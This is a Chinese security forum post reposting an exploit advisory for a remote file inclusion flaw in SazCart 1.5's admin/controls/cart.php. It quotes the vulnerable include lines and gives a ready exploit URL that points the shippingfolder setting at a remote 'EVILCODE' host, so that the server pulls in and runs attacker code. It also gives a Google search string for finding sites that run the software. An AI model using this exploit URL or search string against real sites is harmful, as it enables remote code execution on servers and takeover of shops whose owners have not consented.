‹‹ 上一主题 | 下一主题 ››
发新话题
打印

SazCart <= 1.5 (cart.php) Remote File Include Vulnerability

pub!1c

魔

团队执行官

Rank: 8Rank: 8

E.S.T核心成员

帖子
3926 
精华
128 
积分
209876 
阅读权限
200 
性别
男 
在线时间
1119 小时 
注册时间
2007-10-23 
最后登录
2009-1-4 

资料收集奖 运营支持奖

楼主 大 中 小 发表于 2006-11-6 12:10  只看该作者

SazCart <= 1.5 (cart.php) Remote File Include Vulnerability

复制内容到剪贴板
代码:
sazcart v1.5 (cart.php) Remote File include
*********************---Hitamputih crew---********************************
* Bug Found By : IbnuSina
* vendor : [url]http://sazcart.com/site[/url]
*Risk   : High
* Greetz : *Solpot,permenhack,barbarosa,cah|gemblunkz,fung_men,setiawan,irvian,meteoroid
* and all member hitamputih crew community [url]www.kaipank.org/forum[/url]
*especially thx to [email]str0ke@milw0rm.com[/email]
***************************************************************************
bug found on admin/controls/cart.php
include($_saz['settings']['shippingfolder'] . "/shipping.php");
$Shipping = new Shipping;
include($_saz['settings']['taxfolder'] . "/tax.php");
$Tax = new Tax;

exploit :
[url]http://sitename.com/[/url][sazcart PATH]/admin/controls/cart.php?_saz[settings][shippingfolder]=HTTP://EVILCODE?
google dork: "powered by sazcart"

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题